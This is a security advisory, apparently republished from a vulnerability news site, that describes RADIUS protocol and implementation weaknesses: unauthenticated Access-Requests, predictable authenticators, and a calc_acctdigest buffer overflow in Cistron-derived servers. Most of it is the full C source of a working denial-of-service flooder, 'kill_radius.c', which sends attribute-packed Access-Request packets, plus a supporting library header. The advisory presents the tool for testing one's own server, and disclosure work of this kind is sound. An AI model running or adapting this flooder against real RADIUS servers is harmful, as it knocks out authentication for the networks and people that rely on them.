|
Brought to you by:
Suppliers of:
|
|
|
| |
| As we discussed in our previous article: An Analysis of the RADIUS Authentication Protocol, a few security vulnerabilities have been found in the RADIUS authentication protocol. The following are a few other vulnerabilities in the RADIUS server implementation due to bad protocol specifications. |
| |
Credit:
The information has been provided by 3APA3A.
|
| |
There are more problems in RADIUS protocol and some of implementations:
1. There is no way RADIUS server can validate Access-Request packet really originated by NAS (RADIUS client) before (and even after, if packet has no User-Password attribute) decoding all attributes. It opens a possibility to spoof source IP for this kind of packets. This is a major weakness in RADIUS protocol rather then all hard-to-exploit cryptographic Man-in-the-Middle issues, shown in our previous article.
Example:
According to RFC 2865, each RADIUS packet can be up to 4096 bytes. It allows putting > 2000 attributes into a single packet. Most RADIUS servers' implementations allocate maximum attribute length for each attributes, it means for each attributes > 256 bytes of memory will be allocated. Therefore, it is possible to lock >512K of memory and amount of CPU time with a single 4K packet. An easy denial of service attack.
Attached is simple flooder to flood server with packets like this. It does not spoof source IP, so it can only be used to test your RADIUS server (you must use it from IP registered as NAS).
2. RFC 2865 requires unpredictability of authenticator value in Authentication Request packet. Many RADIUS servers and client libraries implementations do not follow it. Many of them have code like srand(time(0) + getpid()) (or even srand(time(0)) + rand(). As you know, the number of rand() generates is very limited making it easy to predict. This opens the possibility of spoofing a NAS Authentication Request.
For example:
The Cistron RADIUS has this flaw in its proxy module. Many RADIUS client libraries also have this flaw.
3. Most of current freeware RADIUS server implementations (and some of commercial ones) are derived from the Cistron source code. Most of them (including Cistron itself) contain a buffer overflow in digest calculation (in case of Cistron it is static data overflow in calc_acctdigest() function). The calc_acctdigest() function adds shared secret to packet data in order to calculate the digest, but space used for shared secret is never allocated in buffer. If packet is that of exactly the allocated size (in case of Cistron it is 1024) the string pointer located after the buffer in memory will be overwritten with the shared secret. This overflow though will only lead to a denial of service attack. Note though that since the overflow occurs before packet is checked, it can be exploited from spoofed IP address.
Exploit:
/*
* $Id: kill_radius.c,v 1.1.2.3 2001/09/28 17:25:05 3APA3A Exp $
* RADIUS Access Request attribute flooder
* (c) 3APA3A http://www.security.nnov.ru
*/
#include "libradius.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <md5.h>
#include <sysexits.h>
void librad_md5_calc(unsigned char *output, unsigned char *input,
unsigned int inputlen);
/*
* Return an IP address from
* one supplied in standard dot notation.
*/
uint32_t ip_addr(const char *ip_str)
{
struct in_addr in;
if (inet_aton(ip_str, &in) == 0)
return INADDR_NONE;
return in.s_addr;
}
/*
* Return an IP address in from a host
* name or address in dot notation.
*/
uint32_t ip_getaddr(const char *host)
{
struct hostent *hp;
uint32_t a;
if ((a = ip_addr(host)) != INADDR_NONE)
return a;
if ((hp = gethostbyname(host)) == NULL)
return (uint32_t) INADDR_NONE;
/*
* Paranoia from a Bind vulnerability. An attacker
* can manipulate DNS entries to change the length of the
* address. If the length isn't 4, something's wrong.
*/
if (hp->h_length != sizeof(uint32_t)) {
return (uint32_t) INADDR_NONE;
}
memcpy(&a, hp->h_addr, sizeof(uint32_t));
return a;
}
/*
* Like strncpy, but always adds \0
*/
char *strNcpy(char *dest, const char *src, int n)
{
if (n > 0)
strncpy(dest, src, n);
else
n = 1;
dest[n - 1] = 0;
return dest;
}
/*
* The RFC says 4096 octets max, and most packets are less than 256.
* However, this number is just larger than the maximum MTU of just
* most types of networks, except maybe for gigabit ethernet.
*/
static uint8_t random_vector_pool[AUTH_VECTOR_LEN*2];
/*
* Validates the requesting client NAS. Calculates the
* signature based on the clients private key.
*/
#define AUTH_PASS_LEN (16)
/*
* Create a random vector of AUTH_VECTOR_LEN bytes.
*/
void random_vector(uint8_t *vector)
{
int i;
static int did_random = 0;
static int counter = 0;
if (!did_random) {
for (i = 0; i < (int)sizeof(random_vector_pool); i++) {
random_vector_pool[i] += random() & 0xff;
}
did_random = 1;
}
/*
* Modify our random pool, based on the counter,
* and put the resulting information through MD5,
* so it's all mashed together.
*/
counter++;
random_vector_pool[AUTH_VECTOR_LEN] += (counter & 0xff);
/*
* And do another MD5 hash of the result, to give
* the user a random vector. This ensures that the
* user has a random vector, without giving them
* an exact image of what's in the random pool.
*/
}
static int getport(const char *name)
{
struct servent *svp;
svp = getservbyname (name, "udp");
if (!svp) {
return 0;
}
return ntohs(svp->s_port);
}
typedef struct radius_packet_t {
uint8_t code;
uint8_t id;
uint16_t length;
uint8_t vector[AUTH_VECTOR_LEN];
uint8_t data[4076];
} radius_packet_t;
char buf[256];
int radius_send(char* radius, int ntimes, int attr)
{
int port = 0;
int res=0;
int sockfd;
int total_length;
unsigned dst_ipaddr;
struct sockaddr_in saremote;
struct sockaddr_in *sa;
struct timeval tv;
fd_set rdfdesc;
char vector[AUTH_VECTOR_LEN];
radius_packet_t packet;
int salen;
int data_len;
int count;
int i;
memset(&packet, 0, sizeof(packet));
port = getport("radius");
if (port == 0) port = PW_AUTH_UDP_PORT;
if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
return 1;
}
packet.code = PW_AUTHENTICATION_REQUEST;
packet.id=0;
total_length = 0;
packet.length = htons(total_length);
total_length+=(4+AUTH_VECTOR_LEN);
packet.length = htons(total_length);
memcpy(vector, packet.vector, AUTH_VECTOR_LEN);
dst_ipaddr = ip_getaddr(radius);
sa = (struct sockaddr_in *) &saremote;
memset ((char *) sa, '\0', sizeof (saremote));
sa->sin_family = AF_INET;
sa->sin_addr.s_addr = dst_ipaddr;
sa->sin_port = htons(port);
for (i=20; i<4096;){
packet.data[i++]=attr;
packet.data[i++]=2;
}
for (i=0; i<ntimes; i++){
random_vector(packet.vector);
res = sendto(sockfd, &packet, total_length, 0,
(struct sockaddr *)&saremote, sizeof(struct sockaddr_in));
if(res != total_length){
return 2;
}
packet.id++;
}
return 0;
}
int main(int argc, char*argv[]){
int result=0;
int attr;
int ntries;
int i;
if (argc != 4 || (attr = atoi(argv[2])) == 0 ||
(ntries = atoi(argv[3])) == 0) {
printf ("Usage : %s server attribute count\n", argv[0]);
return 1;
}
return radius_send( argv[1], ntries, attr);
}
/*
*Version: $Id: libradius.h,v 1.1.2.4 2001/10/18 14:56:19 vlad Exp $
*/
#ifndef LIBRADIUS_H
#define LIBRADIUS_H
/*
* libradius.h Structures and prototypes
* for the radius library.
*
* Version: $Id: libradius.h,v 1.1.2.4 2001/10/18 14:56:19 vlad Exp $
*
*/
/*
#include "autoconf.h"
*/
#include <sys/types.h>
#include <inttypes.h>
#include <errno.h>
#include <stdio.h>
/*
* Check for inclusion of <time.h>, versus <sys/time.h>
* Taken verbatim from the autoconf manual.
*/
#if TIME_WITH_SYS_TIME
# include <sys/time.h>
# include <time.h>
#else
# if HAVE_SYS_TIME_H
# include <sys/time.h>
# else
# include <time.h>
# endif
#endif
#include "radius.h"
#include "token.h"
#ifdef SIZEOF_UNSIGNED_INT
#if SIZEOF_UNSIGNED_INT != 4
#error FATAL: sizeof(unsigned int) != 4
#endif
#endif
# define VENDOR(x) (x >> 16)
#define EAP_START 2
#define AUTH_VECTOR_LEN 16
#define CHAP_VALUE_LENGTH 16
#define MAX_STRING_LEN 254 /* RFC2138: string 0-253 octets */
#define PW_AUTH_UDP_PORT 1645
#define PW_ACCT_UDP_PORT 1646
#ifdef _LIBRADIUS
# define AUTH_HDR_LEN 20
# define VENDORPEC_USR 429
# define VENDOR(x) (x >> 16)
# define DEBUG if (librad_debug) printf
# define debug_pair(vp) do { if (librad_debug) { \
putchar('\t'); \
vp_print(stdout, vp); \
putchar('\n'); \
} \
} while(0)
#endif
typedef struct dict_attr {
char name[40];
int attr;
int type;
int vendor;
struct dict_attr *next;
} DICT_ATTR;
typedef struct dict_value {
char name[40];
char attrname[40];
int attr;
int value;
struct dict_value *next;
} DICT_VALUE;
typedef struct dict_vendor {
char vendorname[40];
int vendorpec;
int vendorcode;
struct dict_vendor *next;
} DICT_VENDOR;
typedef struct value_pair {
char name[40];
int attribute;
int type;
int length; /* of strvalue */
uint32_t lvalue;
LRAD_TOKEN operator;
int addport;
uint8_t strvalue[MAX_STRING_LEN];
struct value_pair *next;
} VALUE_PAIR;
/*
* vector: Request authenticator from access-request packet
* Put in there by rad_decode, and must be put in the
* response RADIUS_PACKET as well before calling rad_send
*
* verified: Filled in by rad_decode for accounting-request packets
*
* data,data_len: Used between rad_recv and rad_decode.
*/
typedef struct radius_packet {
int sockfd;
uint32_t src_ipaddr;
uint32_t dst_ipaddr;
u_short src_port;
u_short dst_port;
int id;
int code;
uint8_t vector[AUTH_VECTOR_LEN];
time_t timestamp;
int verified;
uint8_t *data;
int data_len;
VALUE_PAIR *vps;
} RADIUS_PACKET;
/*
* Printing functions.
*/
void librad_safeprint(char *in, int inlen, char *out, int outlen);
int vp_prints_value(char *out, int outlen, VALUE_PAIR *vp,int delimitst);
int vp_prints(char *out, int outlen, VALUE_PAIR *vp);
void vp_print(FILE *, VALUE_PAIR *);
void vp_printlist(FILE *, VALUE_PAIR *);
#define fprint_attr_val vp_print
/*
* Dictionary functions.
*/
int dict_addvendor(const char *name, int value);
int dict_addattr(const char *name, int vendor, int type, int value);
int dict_addvalue(const char *namestr, char *attrstr, int value);
int dict_init(const char *dir, const char *fn);
DICT_ATTR *dict_attrbyvalue(int attr);
DICT_ATTR *dict_attrbyname(const char *attr);
DICT_VALUE *dict_valbyattr(int attr, int val);
DICT_VALUE *dict_valbyname(int attr, const char *val);
int dict_vendorcode(int);
int dict_vendorpec(int);
int dict_vendorname(const char *name);
#if 1 /* FIXME: compat */
#define dict_attrget dict_attrbyvalue
#define dict_attrfind dict_attrbyname
#define dict_valfind dict_valbyname
/*#define dict_valget dict_valbyattr almost but not quite*/
#endif
/* md5.c */
void librad_md5_calc(u_char *, u_char *, u_int);
/* hmac.c */
void lrad_hmac_md5(const unsigned char *text, int text_len,
const unsigned char *key, int key_len,
unsigned char *digest);
/* radius.c */
int rad_send(RADIUS_PACKET *, const RADIUS_PACKET *, const char *secret);
RADIUS_PACKET *rad_recv(int fd);
int rad_decode(RADIUS_PACKET *packet, char *original, const char *secret);
RADIUS_PACKET *rad_alloc(int newvector);
void rad_free(RADIUS_PACKET **);
int rad_pwencode(char *encpw, int *len, const char *secret, const char *vector);
int rad_pwdecode(char *encpw, int len, const char *secret, const char *vector);
int rad_chap_encode(RADIUS_PACKET *packet, char *output, int id, VALUE_PAIR *password);
int calc_acctdigest(RADIUS_PACKET *packet, const char *secret,
char *data, int len);
/* valuepair.c */
VALUE_PAIR *paircreate(int attr, int type);
void pairfree(VALUE_PAIR **);
VALUE_PAIR *pairfind(VALUE_PAIR *, int);
void pairdelete(VALUE_PAIR **, int);
void pairadd(VALUE_PAIR **, VALUE_PAIR *);
VALUE_PAIR *paircopy(VALUE_PAIR *vp);
VALUE_PAIR *paircopy2(VALUE_PAIR *vp, int attr);
void pairmove(VALUE_PAIR **to, VALUE_PAIR **from);
void pairmove2(VALUE_PAIR **to, VALUE_PAIR **from, int attr);
VALUE_PAIR *pairmake(const char *attribute, const char *value, int operator);
VALUE_PAIR *pairread(char **ptr, int *eol);
LRAD_TOKEN userparse(char *buffer, VALUE_PAIR **first_pair);
/*
* Error functions.
*/
#ifdef _LIBRADIUS
void librad_log(const char *, ...)
#ifdef __GNUC__
__attribute__ ((format (printf, 1, 2)))
#endif
;
#endif
void librad_perror(const char *, ...)
#ifdef __GNUC__
__attribute__ ((format (printf, 1, 2)))
#endif
;
extern char librad_errstr[];
extern int librad_dodns;
extern int librad_debug;
/*
* Several handy miscellaneous functions.
*/
char * ip_hostname (char *buf, size_t buflen, uint32_t ipaddr);
uint32_t ip_getaddr (const char *);
char * ip_ntoa(char *, uint32_t);
uint32_t ip_addr(const char *);
char *strNcpy(char *dest, const char *src, int n);
void rad_lowercase(char *str);
void rad_rmspace(char *str);
void random_vector(uint8_t *vec);
#ifdef ASCEND_BINARY
/* filters.c */
int filterBinary(VALUE_PAIR *pair, const char *valstr);
void print_abinary(VALUE_PAIR *vp, u_char *buffer, int len);
#endif /*ASCEND_BINARY*/
#ifdef HAVE_LOCAL_SNPRINTF
#include <stdarg.h>
int snprintf(char *str, size_t count, const char *fmt, ...);
int vsnprintf(char *str, size_t count, const char *fmt, va_list arg);
#endif
#endif /*LIBRADIUS_H*/
|
|
|
|
|